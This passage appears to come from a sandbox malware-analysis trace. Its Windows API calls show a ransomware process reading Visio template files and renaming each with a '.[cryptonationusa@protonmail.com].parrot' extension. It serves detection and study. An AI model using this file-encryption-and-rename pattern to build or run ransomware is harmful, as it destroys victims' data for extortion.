lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.348] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2f000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2f000, lpOverlapped=0x0) returned 1 [0220.356] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.364] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACC_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hvacc_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACC_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hvacc_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0220.370] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0220.370] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0220.372] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.372] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2e800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2e800, lpOverlapped=0x0) returned 1 [0220.381] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.386] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACC_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hvacc_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACC_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hvacc_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0220.392] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0220.392] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0220.394] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.394] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x26e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x26e00, lpOverlapped=0x0) returned 1 [0220.402] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.406] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACD_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hvacd_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACD_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hvacd_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0220.413] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0220.413] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0220.415] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.415] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x26a00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x26a00, lpOverlapped=0x0) returned 1 [0220.423] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.427] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACD_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hvacd_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACD_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hvacd_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0220.433] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0220.433] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0220.435] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.435] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1c000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1c000, lpOverlapped=0x0) returned 1 [0220.441] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.446] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACEQ_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hvaceq_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACEQ_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hvaceq_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0220.454] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0220.454] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0220.456] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.456] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1b600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1b600, lpOverlapped=0x0) returned 1 [0220.460] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.464] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACEQ_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hvaceq_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACEQ_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hvaceq_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0220.518] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0220.518] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0220.520] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.520] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x18000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x18000, lpOverlapped=0x0) returned 1 [0220.524] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.528] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVAC_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hvac_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVAC_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hvac_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0220.537] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0220.537] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0220.539] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.539] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x17e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x17e00, lpOverlapped=0x0) returned 1 [0220.543] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.547] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVAC_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hvac_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVAC_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hvac_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0220.557] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0220.557] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0220.562] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.562] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xdc00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xdc00, lpOverlapped=0x0) returned 1 [0220.564] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.566] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\IDEF0_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\idef0_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\IDEF0_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\idef0_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0220.571] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0220.571] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0220.573] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.573] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x7400, lpOverlapped=0x0) returned 1 [0220.574] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.574] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\IDEF0_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\idef0_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\IDEF0_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\idef0_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0220.579] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0220.579] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0220.581] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.581] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xd200, lpOverlapped=0x0) returned 1 [0220.582] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.583] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\IDEF0_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\idef0_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\IDEF0_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\idef0_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0220.587] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0220.587] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0220.589] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.589] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x7400, lpOverlapped=0x0) returned 1 [0220.590] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.591] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\IDEF0_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\idef0_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\IDEF0_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\idef0_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0220.596] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0220.596] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0220.597] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.597] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xf400, lpOverlapped=0x0) returned 1 [0220.598] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.600] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\INTANN_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\intann_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\INTANN_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\intann_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0220.607] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0220.607] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0220.608] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.608] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xec00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xec00, lpOverlapped=0x0) returned 1 [0220.612] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.613] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\INTANN_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\intann_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\INTANN_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\intann_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0220.620] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0220.620] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0220.621] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.622] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xe400, lpOverlapped=0x0) returned 1 [0220.623] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.623] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\IRRIG_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\irrig_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\IRRIG_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\irrig_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0220.629] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0220.629] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0220.673] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.673] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xe000, lpOverlapped=0x0) returned 1 [0220.675] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.676] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\IRRIG_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\irrig_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\IRRIG_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\irrig_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0220.683] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0220.683] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0220.684] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.685] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x67600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x67600, lpOverlapped=0x0) returned 1 [0220.696] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.710] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ITIL_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\itil_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ITIL_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\itil_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0220.719] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0220.719] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0220.723] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.724] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x18c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x18c00, lpOverlapped=0x0) returned 1 [0220.732] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.737] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ITIL_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\itil_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ITIL_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\itil_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0220.746] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0220.746] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: 